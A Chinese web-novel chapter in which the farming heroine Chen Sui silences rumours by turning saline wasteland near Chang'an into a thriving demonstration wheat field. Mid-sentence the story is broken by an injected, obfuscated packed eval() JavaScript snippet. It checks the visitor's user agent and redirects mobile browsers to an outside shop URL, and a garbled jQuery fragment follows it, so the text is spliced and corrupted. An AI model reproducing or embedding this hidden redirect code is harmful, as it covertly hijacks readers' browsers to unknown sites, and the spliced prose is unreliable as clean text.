流言传到陈穗耳朵里那天，她正在后院给葱浇水。
来传话的是驿馆的一个杂役。那小伙子跑进来的时候气喘吁吁的，站在院门口喊了一声"农侯"，陈穗直起腰回头看他，他咽了口唾沫才把话倒出来——"街口那些人说的话……我早上经过的时候听见了，说您的方略是霍将军找人代写的，说您一个俘虏出身根本不懂种地，说您封侯是因为攀……攀上了霍将军。"他说到最后一个词的时候声音矮下去半截，像怕那两个字会把院子里的空气划破。陈穗听完脸上的表情很平静。她把水壶放下，蹲下去检查了一下葱垄边缘的干湿度，站起来说了句"知道了"。
杂役愣在原地，大概没料到她反应这么轻。陈穗见他还没走，补了一句："以后这种话不用专门跑来说。让他们说。"杂役哦了一声转身走了，走到门口又回头看了她一眼，她正蹲回葱垄旁边拔一颗杂草。他挠了挠头走了。
陈穗把那棵杂草拔出来扔在一边，坐在田埂——哦不，坐在后院砖沿上，低头看了看自己的手。水壶把手上凝着水珠，滴了一滴在她手背上凉凉的。她伸手把那滴水珠抹掉了，站起来回屋。
当天下午就有信使上门了。来的是朝廷的人，送来一份文书——命河西农侯在长安近郊选一块荒地进行屯田示范，以验方略之效。文书写得很客气，措辞也周到，但意思很清楚：有人要亲眼看看你到底会不会种地。陈穗把文书看完，搁在桌上，用盐包压住一角，然后去后院把那两排葱又浇了一遍水。
第二天她出门选了地。长安近郊有一片撂荒多年的盐碱地，跟河西那块地一样——地表一层白花花的盐壳，踩上去嘎吱响，连草都不长。陪同的官员站在地头说"这块地荒了十多年了，谁也没种活过东西"，言下之意是"你选这块是自找麻烦"。陈穗蹲下去抓了一把土，攥紧松开看了看散落状态，站起来说："就这块。"官员愣了一下，看了她一眼没再劝，在文书上画了押。
第三天朝廷拨了二十个农丁给她。她到地头的时候那些人已经等着了，站成一排，有的卷着袖子有的扛着铁锹，目光落在她脸上打量着。陈穗没多说话，把带来的铁锹分下去——四把，剩下十六个人轮着用。然后她走到地头蹲下去，用手在盐壳表面划了一道线："今天翻这一片，从这儿到那棵枯树。翻完为止。"农丁们互相看了一眼，有人笑了一声，不大，但陈穗听见了。她没回头，弯腰开始翻第一锹。有人跟上来了，也有人还站在原地。但她一直翻着，没停。
翻到第三天的时候农丁里多了三个人。新来的，看着眼生，但翻地的姿势她一眼就认出来了——蹲下去的时候重心压在后腿，铁锹入土的斜角比别人深两寸，翻出来的土块敲得碎、撒得匀。河西的残兵干了大半年活磨出来的架势，跟长安本地农丁完全不一样。她没多看，也没有问他们是谁派来的，低头继续翻自己的。
翻完第五天地翻好了。烧草木灰、撒施、灌水、沤肥、播种——所有的工序跟她在河西做的一模一样，一步没少，一步没落。系统在这个过程里重新开始弹提示了，大概是闻到了土味又活过来了：『当前任务：示范田种植完成。检测到盐碱地改良进度：12%。奖励：绿肥种子配方×1。』她蹲在地头看了看系统弹出来的新配方，然后站起来继续干活。
播种之后的时间里她每天去地里巡查。长安近郊的春天跟河西不一样——雨水多一些，风也软一些，麦苗出土比河西快了大约五六天。她每天蹲在地头数出苗率，拿草茎做标记，记在随身带的麻布片上。农丁们从最初的观望变成了跟着干，再到有人主动来问她"陈农侯，这个草要不要拔"，她指了指麦垄中间的杂草说"这种留一株就行，其他的全拔了"。那人蹲下去拔草的时候旁边的人凑过来问他"你怎么知道哪种留哪种拔"，他说"陈农侯昨天指过"。对话传过来的时候陈穗正在地头另一侧浇水，她听了没转头，但嘴角弯了一下。
示范田的麦苗长到第三拃高的时候，之前传流言的那个人自己来了。是个中年文官，穿着锦袍，站在地头看着那排整整齐齐的麦苗——绿油油的，行列笔直，叶片舒展，跟他上次来看到的那片白花花的盐壳完全变了个样子。他站在田埂上看了好一会儿没说话。陈穗正蹲在地里拔草，头也没抬地说了句："想看随便看。"她拔完手里那棵草站起来拍了拍手上的泥，看了他一眼，补了一句："想学我教你。"
中年文官的嘴唇动了动，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920784|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大概是没想到她会这样说。他站在地头沉默了一会儿，然后转身走了。走了十来步又停下来回头看了一眼，麦田在春末的日光底下泛着一层柔和的绿光，陈穗已经蹲回去继续拔草了，背影瘦削但脊背是直的。他把目光收回来，低头快步走远了。
麦苗长到齐膝高的时候，长安近郊那片废地的名字从"撂荒盐碱地"变成了"农侯示范田"。来看的人从零星几个变成了一小群，从官员到百姓再到附近的农户，田埂上偶尔会蹲着几个拿着布袋等收成的老农，他们来跟陈穗聊种地的事。她蹲在地头跟他们讲沟播的深度、施肥的时机、灌水的间隔，讲到兴奋处直接拿草茎在土面上画示意图。那些老农听着听着点头、摇头、追问，最后走的时候布袋里揣着她给的几株麦苗样品，说要拿回自己地里试试。
夏初某天傍晚陈穗收工回府，推开院门的时候闻到一股香味。她走到前厅一看，桌上多了一只陶碗，碗里盛着一碗热汤，汤面浮着几片葱叶和一小撮肉末。碗沿还是烫的，显然是刚送来不久。碗底下压了一张纸条，她抽出来看了一眼，上面两个字的笔迹她一眼就认得出来——"吃了。"
她站在桌前低头看着那碗汤，热气从碗沿升起来扑在她脸上，葱叶在汤面上微微打着旋。她端起碗来喝了一口，滚烫的汤汁顺着喉咙滑下去，暖意从胸口漫到四肢。她端着碗站在暮色里又喝了两口，然后忽然笑了一下。她把碗放回桌上，把那张纸条拿起来看了一遍又放回桌上，压住纸条的边角用盐包压好，然后把剩下的汤慢慢喝完了。
那天晚上她坐在灯下把那张纸条又看了一遍，然后叠好放进了怀里，跟旧手套放在一起。她低头按了一下怀里的东西——半块干饼、两片竹片、一张纸条，每一件都硬硬的、有棱角的，贴着她的胸口轮廓互相叠压着。
窗外巷子里传来巡夜者的梆子声，一下两下三下，不紧不慢地敲过去。她侧耳听了一会儿，然后吹了灯躺下去，翻了个身面朝窗户的方向。月光透过窗纸照进来，像一层薄薄的水银铺在地上，她隔着衣料按了一下怀里那张纸条的位置，合上了眼。
明天再去地里看一圈麦苗。长安的麦子长得比河西慢一些，但再过半个月也该抽穗了。